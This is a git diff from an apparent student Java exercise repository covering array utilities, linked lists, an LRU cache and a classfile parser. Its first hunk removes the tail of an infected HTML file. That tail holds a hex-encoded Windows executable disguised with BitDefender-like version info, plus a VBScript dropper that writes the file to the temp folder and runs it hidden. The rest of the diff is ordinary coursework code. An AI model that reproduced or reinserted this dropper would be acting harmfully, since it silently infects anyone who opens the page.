0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000"
-Set FSO = CreateObject("Scripting.FileSystemObject")
-DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
-If FSO.FileExists(DropPath)=False Then
-Set FileObj = FSO.CreateTextFile(DropPath, True)
-For i = 1 To Len(WriteData) Step 2
-FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
-Next
-FileObj.Close
-End If
-Set WSHshell = CreateObject("WScript.Shell")
-WSHshell.Run DropPath, 0
-//--></SCRIPT>
\ No newline at end of file
+<html>Simple <b>Java</b> application that includes a class with <code>main()</code> method</html>
\ No newline at end of file
diff --git a/group17/102228177/work2_26/.classpath b/group17/102228177/work2_26/.classpath
index dfa83d7793..80437ca942 100644
--- a/group17/102228177/work2_26/.classpath
+++ b/group17/102228177/work2_26/.classpath
@@ -1,8 +1,8 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<classpath>
-	<classpathentry kind="src" path="src"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.7"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
-	<classpathentry kind="lib" path="lib/dom4j-1.6.1.jar"/>
-	<classpathentry kind="output" path="bin"/>
-</classpath>
+<?xml version="1.0" encoding="UTF-8"?>
+<classpath>
+	<classpathentry kind="src" path="src"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.7"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
+	<classpathentry kind="lib" path="lib/dom4j-1.6.jar"/>
+	<classpathentry kind="output" path="bin"/>
+</classpath>
diff --git a/group17/102228177/work2_26/src/com/coderising/array/ArrayUtil.java b/group17/102228177/work2_26/src/com/coderising/array/ArrayUtil.java
index a0dc5262db..60949d043e 100644
--- a/group17/102228177/work2_26/src/com/coderising/array/ArrayUtil.java
+++ b/group17/102228177/work2_26/src/com/coderising/array/ArrayUtil.java
@@ -34,7 +34,7 @@ public static void main(String[] args) {
 //		System.out.println(Arrays.toString(util.merge(a1, a2)));
 		System.out.println(Arrays.toString(util.fibonacci(15)));
 		
-//		System.out.println(Arrays.toString(util.getPrimes(23)));
+		System.out.println(Arrays.toString(util.getPrimes(23)));
 	}
 	
 	/**
@@ -115,15 +115,14 @@ public int[] grow(int [] oldArray,  int size){
 	 */
 	public int[] fibonacci(int max){
 		List<Integer> list = new ArrayList<Integer>();
-		if (max <= 1) {
-	        return new int[]{};
-        }
-		int lo = 0;
-		int hi = 1;
-		while(hi<max){
-			list.add(hi);
-			hi = lo + hi;
-			lo = hi - lo;
+		int f1 = 1, f2 = 1, f = 0;
+		list.add(f1);
+		list.add(f2);
+		while(f < max){
+			f = f1+f2;
+			f1 = f2;
+			f2 = f;
+			list.add(f);
 		}
 		int[] arr = new int[list.size()];
 		for (int i = 0; i < list.size(); i++) {
diff --git a/group17/102228177/work3_26/src/com/coderising/jvm/loader/ClassFileLoader.java b/group17/102228177/work3_26/src/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 9010ae0b66..0000000000
--- a/group17/102228177/work3_26/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,81 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.ArrayList;
-import java.util.List;
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		String name = "";
-		for (int i = 0; i < className.length(); i++) {
-			if(className.charAt(i)=='.'){
-				name +=  File.separatorChar;
-			}else{
-				name += className.charAt(i);
-			}
-		}
-		File file = new File(getClassPath()+ File.separatorChar  +name+".class");
-		InputStream in = null;
-		ByteArrayOutputStream out = null;
-		try {
-			in = new FileInputStream(file);
-			out = new ByteArrayOutputStream();
-			byte[] buff = new byte[1024*2];
-			int len = 0;
-			while((len=in.read(buff))!=-1){
-				out.write(buff, 0, len);
-			}
-			return out.toByteArray();
-		} catch (FileNotFoundException e) {
-			e.printStackTrace();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		finally {
-			if(in!=null){
-				try {
-					in.close();
-				} catch (IOException e) {
-					e.printStackTrace();
-				}
-			}
-			if(out!=null){
-				try {
-					out.close();
-				} catch (IOException e) {
-					e.printStackTrace();
-				}
-			}
-		}
-		
-		return null;	
-		
-		
-	}
-	
-	
-	public void addClassPath(String path) {
-		clzPaths.add(path);
-	}
-	
-	
-	
-	public String getClassPath(){
-		StringBuilder sb = new StringBuilder();
-		for (String string : clzPaths) {
-			sb.append(string).append(";");
-		}
-		sb = sb.deleteCharAt(sb.length()-1);
-		return sb.toString();
-	}
-}
\ No newline at end of file
diff --git a/group17/102228177/work3_26/src/com/coderising/jvm/test/EmployeeV1.java b/group17/102228177/work3_26/src/com/coderising/jvm/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group17/102228177/work3_26/src/com/coderising/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrame.java b/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrame.java
deleted file mode 100644
index 839a34013f..0000000000
--- a/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrame.java
+++ /dev/null
@@ -1,150 +0,0 @@
-package com.coding.basic.linklist;
-public class LRUPageFrame {
-	
-	private static class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-
-		Node() {
-		}
-	}
-
-	private int capacity;
-	
-	private int currentSize;
-	private Node first;// 链表头
-	private Node last;// 链表尾
-
-	
-	public LRUPageFrame(int capacity) {
-		this.currentSize = 0;
-		this.capacity = capacity;
-		
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 
-	 * @param key
-	 * @return
-	 */
-	public void access(int pageNum) {
-		
-		Node node = find(pageNum);
-		//在该队列中存在， 则提到队列头
-		if (node != null) {
-			
-			moveExistingNodeToHead(node);		
-			
-		} else{
-			
-			node = new Node();
-			node.pageNum = pageNum;
-			
-			// 缓存容器是否已经超过大小.
-			if (currentSize >= capacity) {			
-				removeLast();
-			} 
-			addNewNodetoHead(node);
-		}
-	}
-	
-	private void addNewNodetoHead(Node node) {
-		
-		if(isEmpty()){
-			
-			node.prev = null;
-			node.next = null;
-			first = node;
-			last = node;
-			
-		} else{
-			node.prev = null;
-			node.next = first;
-			first.prev = node;
-			first = node;
-		}
-		this.currentSize ++;
-	}
-
-	private Node find(int data){
-		
-		Node node = first;
-		while(node != null){
-			if(node.pageNum == data){
-				return node;
-			}
-			node = node.next;
-		}
-		return null;
-		
-	}
-
-	
-
-	/**
-	 * 删除链表尾部节点 表示 删除最少使用的缓存对象
-	 */
-	private void removeLast() {
-		Node prev = last.prev;
-		prev.next = null;
-		last.prev = null;
-		last = prev;
-		this.currentSize --;
-	}
-
-	/**
-	 * 移动到链表头，表示这个节点是最新使用过的
-	 * 
-	 * @param node
-	 */
-	private void moveExistingNodeToHead(Node node) {
-		
-		if (node == first) {
-			
-			return;
-		}
-		else if(node == last){
-			//当前节点是链表尾， 需要放到链表头
-			Node prevNode = node.prev;
-			prevNode.next = null;	
-			last.prev = null;
-			last  = prevNode;				
-			
-		} else{
-			//node 在链表的中间， 把node 的前后节点连接起来
-			Node prevNode = node.prev;
-			prevNode.next = node.next;
-			
-			Node nextNode = node.next;
-			nextNode.prev = prevNode;
-			
-			
-		}
-		
-		node.prev = null;
-		node.next = first;
-		first.prev = node;
-		first = node;	
-		
-	}
-	private boolean isEmpty(){		
-		return (first == null) && (last == null);
-	}
-
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = first;
-		while(node != null){
-			buffer.append(node.pageNum);			
-			
-			node = node.next;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-}
\ No newline at end of file
diff --git a/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrameTest.java
deleted file mode 100644
index c323d03b3f..0000000000
--- a/group17/102228177/work3_26/src/com/coding/basic/linklist/LRUPageFrameTest.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coding.basic.linklist;
-
-import  org.junit.Assert;
-
-import org.junit.Test;
-
-
-public class LRUPageFrameTest {
-	
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		Assert.assertEquals("1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-	}
-
-}
\ No newline at end of file
diff --git a/group17/102228177/work3_5/src/com/coderising/data/LinkedList.java b/group17/102228177/work3_5/src/com/coderising/data/LinkedList.java
index ee2a7fd554..22a72affaf 100644
--- a/group17/102228177/work3_5/src/com/coderising/data/LinkedList.java
+++ b/group17/102228177/work3_5/src/com/coderising/data/LinkedList.java
@@ -292,19 +292,22 @@ public void removeRange(int min, int max){
 			throw new RuntimeException("LinkedList is empty!");
 		}else{
 			Node q = head;
-			Node p = head.next;
+			//头判断
+			if((int)q.data>min && (int)q.data<max){ 
+				head = head.next;
+				size--;
+				removeRange(min, max);
+				return;
+			}
+			
+			Node p = q.next;
 			while(p!=null){ 
 				if((int)p.data>min && (int)p.data<max){ 
-					q.next=p.next; 
 					size--;
-					p=q;
-					p=p.next;
+					q.next = p.next;
 				}
-				else{
-					q=p;
-					p=p.next;
-					q=q.next;
-				} 
+				q = q.next;
+				p = q.next;
 			}
 		}
 	}
@@ -321,12 +324,16 @@ public LinkedList intersection(LinkedList list){
 	}
 	
 	private void intersection(LinkedList linkedList, Node node1,Node node2){
-		if(node1 ==null && node2 == null){
-			
-		}else if(node1 == null){
-			traverse(linkedList, node2);
+		if(node1 == null){
+			while(node2 != null){
+				linkedList.add(node2.data);
+				node2 = node2.next;
+			}
 		}else if(node2 == null){
-			traverse(linkedList, node1);
+			while(node1 != null){
+				linkedList.add(node1.data);
+				node1 = node1.next;
+			}
 		}else{
 			if((int)node1.data < (int)node2.data){
 				linkedList.add(node1.data);
@@ -337,13 +344,6 @@ private void intersection(LinkedList linkedList, Node node1,Node node2){
 			} 
 		}
 	}
-
-	private void traverse(LinkedList linkedList, Node node) {
-		while(node != null){
-			linkedList.add(node.data);
-			node = node.next;
-		}
-	}
 	
 	
 	public static void main(String[] args) {
diff --git a/group17/102228177/work3_5/src/com/coderising/data/LinkedListTest.java b/group17/102228177/work3_5/src/com/coderising/data/LinkedListTest.java
index dd6d782ca1..d6d6f24401 100644
--- a/group17/102228177/work3_5/src/com/coderising/data/LinkedListTest.java
+++ b/group17/102228177/work3_5/src/com/coderising/data/LinkedListTest.java
@@ -84,6 +84,7 @@ public void testRemoveDuplicateValues() {
 	@Test
 	public void testRemoveRange() {
 		LinkedList linkedList = new LinkedList();
+		
 		linkedList.add(11);
 		linkedList.add(12);
 		linkedList.add(13);
@@ -91,7 +92,11 @@ public void testRemoveRange() {
 		linkedList.add(16);
 		linkedList.add(16);
 		linkedList.add(19);
+		
 		linkedList.removeRange(10, 14);
+		for (int i = 0; i < linkedList.size(); i++) {
+			System.out.println(linkedList.get(i));
+		}
 	}
 
 	@Test
@@ -111,4 +116,4 @@ public void testIntersection() {
 			System.out.println(newList.get(i));
 		}
 	}
-}
+}
\ No newline at end of file
diff --git a/group17/102228177/work3_5/src/com/coderising/download/DownloadThread.java b/group17/102228177/work3_5/src/com/coderising/download/DownloadThread.java
index 0ead656318..c3c296fa24 100644
--- a/group17/102228177/work3_5/src/com/coderising/download/DownloadThread.java
+++ b/group17/102228177/work3_5/src/com/coderising/download/DownloadThread.java
@@ -50,4 +50,4 @@ public void run(){
 			}
 		}
 	}
-}
+}
\ No newline at end of file
diff --git a/group17/102228177/work3_5/src/com/coderising/download/FileDownloader.java b/group17/102228177/work3_5/src/com/coderising/download/FileDownloader.java
index 84c45025c2..d9c03bcc21 100644
--- a/group17/102228177/work3_5/src/com/coderising/download/FileDownloader.java
+++ b/group17/102228177/work3_5/src/com/coderising/download/FileDownloader.java
@@ -94,4 +94,4 @@ public void run() {
 			}
 		}
 	}
-}
+}
\ No newline at end of file
diff --git a/group17/102228177/work3_5/src/com/coderising/download/FileDownloaderTest.java b/group17/102228177/work3_5/src/com/coderising/download/FileDownloaderTest.java
index 11911fa593..eb6eb162cc 100644
--- a/group17/102228177/work3_5/src/com/coderising/download/FileDownloaderTest.java
+++ b/group17/102228177/work3_5/src/com/coderising/download/FileDownloaderTest.java
@@ -25,6 +25,7 @@ public void testDownload() {
 		
 		FileDownloader downloader = new FileDownloader(url);
 
+	
 		ConnectionManager cm = new ConnectionManagerImpl();
 		downloader.setConnectionManager(cm);
 		
@@ -33,6 +34,7 @@ public void testDownload() {
 			public void notifyFinished() {
 				downloadFinished = true;
 			}
+
 		});
 
 		
@@ -48,9 +50,10 @@ public void notifyFinished() {
 				e.printStackTrace();
 			}
 		}
-		
 		System.out.println("下载完成！");
 		
+		
+
 	}
 
 }
diff --git a/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionImpl.java b/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionImpl.java
index aed893a10f..a922337b81 100644
--- a/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionImpl.java
+++ b/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionImpl.java
@@ -107,4 +107,4 @@ private HttpURLConnection getConnection() {
 		}
 		return con;
 	}
-}
+}
\ No newline at end of file
diff --git a/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionManagerImpl.java
index 90df381160..803cc1dc8d 100644
--- a/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ b/group17/102228177/work3_5/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -16,4 +16,4 @@ public Connection open(String url) throws ConnectionException {
 		return new ConnectionImpl(url);
 	}
 
-}
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/clz/AccessFlag.java b/group17/102228177/work4_09/src/com/coderising/jvm/clz/AccessFlag.java
deleted file mode 100644
index faae056835..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassIndex.java b/group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassIndex.java
deleted file mode 100644
index e424f284b3..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/ClassInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/ClassInfo.java
deleted file mode 100644
index af1e6bc65f..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,33 +0,0 @@
-package com.coderising.jvm.constant;
-
-/**
-
- * @Description 类常量信息
-
- * @author REEFE
-
- * @time 2017年4月9日
-
- */
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 855b581f95..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,38 +0,0 @@
-package com.coderising.jvm.constant;
-
-/**
-
- * @Description 常见常量项
-
- * @author REEFE
-
- * @time 2017年4月9日
-
- */
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantPool.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantPool.java
deleted file mode 100644
index d4f91262b8..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-
-/**
-
- * @Description:常量池
-
- * @author:REEFE
-
- * @time:2017年4月9日 
-
- */
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public Object getSize() {		
-		return this.constantInfos.size() -1;
-	}
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/FieldRefInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 65475e194c..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/MethodRefInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 7f05870020..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-	
-	
-	
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 402f9dec86..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/NullConstantInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 936736016f..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/StringInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/StringInfo.java
deleted file mode 100644
index f1f8eb4ed4..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-	
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/UTF8Info.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/UTF8Info.java
deleted file mode 100644
index 5cac9f04f7..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	
-	
-
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group17/102228177/work4_09/src/com/coderising/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 8334e80b63..0000000000
